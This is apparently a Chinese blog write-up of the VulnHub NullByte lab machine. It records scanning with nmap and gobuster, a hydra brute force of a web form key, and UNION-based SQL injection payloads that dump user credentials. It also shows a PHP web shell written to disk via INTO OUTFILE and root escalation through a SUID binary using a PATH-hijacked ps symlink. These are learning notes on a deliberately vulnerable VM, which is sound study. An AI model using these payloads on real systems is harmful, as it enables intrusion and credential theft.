1080 字
5 分钟
vulnhub靶机-nullbyte(sql注入)
vulnhub靶机-nullbyte(sql注入)
声明
- 本文为个人跟随b站up主红队笔记学习vulnhub的nullbyte靶机的复现通关记录,旨在分享靶机和记录学习心得体会,讲解若有谬误之处欢迎指正。
- 该靶机下载地址为’https://vulnhub.com/entry/nullbyte-1,126/‘
渗透流程
- 在vmware部署靶机并开机后,首先打开kali对靶机进行信息收集,使用nmap执行
nmap -sn 192.168.245.0/24(请替换成你的网段)进行主机发现,发现图中的192.168.245.158为靶机。(192.168.245.136为我的kali虚拟机的地址)
- 并进行端口发现,执行
nmap --min-rate 10000 -p- 192.168.245.158,并对开放端口记录用于后续渗透,发现80、111、777端口,并观察端口服务。
- 对端口进行详细扫描,执行
nmap -sT -sV -sC -O -p9999,10000 192.168.245.158,得到端口详细服务内容(80为http服务,111为rpcbind,777为ssh连接)和系统版本。
- 执行
sudo nmap --script=vuln -p80,111,777 192.168.245.158用脚本扫一下漏洞,没有什么发现。
- 简单访问一下80端口web服务。

- 使用目录爆破工具执行
gobuster dir -u http://192.168.245.158 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt进行目录爆破。
- 访问爆破出的目录。

- 保存主页的gif,对于前面主页gif考虑有没有隐写,使用file和exiftool检查(exiftool使用参考https://wilesangh.github.io/ctf-web/exiftool%E4%BD%BF%E7%94%A8%E6%89%8B%E5%86%8C/#51),这里发现的的P->: kzMb5nVYJw 需要留意。

- 把其作为密码尝试以root身份进行ssh连接(使用777端口),没连接成,考虑其它途径。

- 考虑作为目录,成功发现一个页面。

- 查看原码,此为一个密码表单,并且注释
this form isn't connected to mysql, password ain't that complex提示其不连接数据库,密码也不复杂。
- 查看hydra语法并且执行
hydra 192.168.245.158 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l aaa -P /usr/share/wordlists/rockyou.txt,得到密码是elite。

- 进入后有个搜索框,尝试多次发现是对用户输入进行查询,测试是否有sql注入。

- 在仅输入”时候存在注入。

- 输入
" union select 1; #,注入显示 Could not get data: The used SELECT statements have a different number of columns,直到" union select 1,2,3; #显示如图。
- 输入
" union select database(),@@version,user(); #获取更多信息。
" union select table_schema,table_name,3 from information_schema.tables; #获取表名。
" union select table_name,2,3 from information_schema.tables where table_schema="seth"; #缩小范围仅获取seth中的表名。
" union select column_name,2,3 from information_schema.columns where table_schema="seth" and table_name="users"; #获取seth库users表的列名。
" union select id,user,pass from users; #,读到可能的密码YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE
- base64解码为
c6d6bd7ebf806f43c76acc3681703b81,特征检验为md5 ,破解为omega
- ssh登录上ramses

另一种获取初始权限的办法
" union select "<?php system($_GET['ooo']); ?>","","" into outfile "/var/www/html/uploads/shell.php"; #(前提:secure_file_priv设置可写),为参数ooo在url中拼接执行的指令可以执行。
- 拼接cat指令,查看刚才的420search.php,其可能有数据库连接的信息,执行果然得到root的密码,可以用于登录数据库,进而得到
ramses的密码并登录

提权部分
- 按照权限搜索,执行
find / -group ramses -type f 2>/dev/null | grep -v '/proc'(Linux 系统中,查找所有所属用户组为 ramses 的普通文件,并过滤掉 /proc 目录下的结果),find / -perm -u=s -type f 2>/dev/nul(Linux 系统中,查找所有设置了 SUID 权限的普通文件),以下为关注内容
- cd到/var/www/backup,procwatch有suid权限。

- 执行该文件发现执行三个进程,创建一个从 ps 指向 /bin/sh 的软链接,写入环境变量,再次执行获得root权限,渗透结束。

其它补充
- 111端口运行的rpcbind旧称portmap,默认111端口,用于rpc程序号与网络地址/端口映射,由于很多 RPC 服务不固定端口、动态分配,客户端无法知道端口,通过rpcbind 统一提供查询入口。
- RPC(Remote Procedure Call)是一种协议,允许应用程序在不同计算机之间进行通信,并像调用本地函数一样调用远程服务。
- mysql5.0以上版本中,存在一个内置库information_schema,被视为一个虚拟数据库,用于获取数据库结构信息,如表名、列名、数据类型、索引和约束等(如columns表和tables表存放所有的列名和表名),提升了元数据查询的灵活性和跨版本兼容性。
vulnhub靶机-nullbyte(sql注入)
http://124.70.202.140/posts/post-9/9/ 部分信息可能已经过时







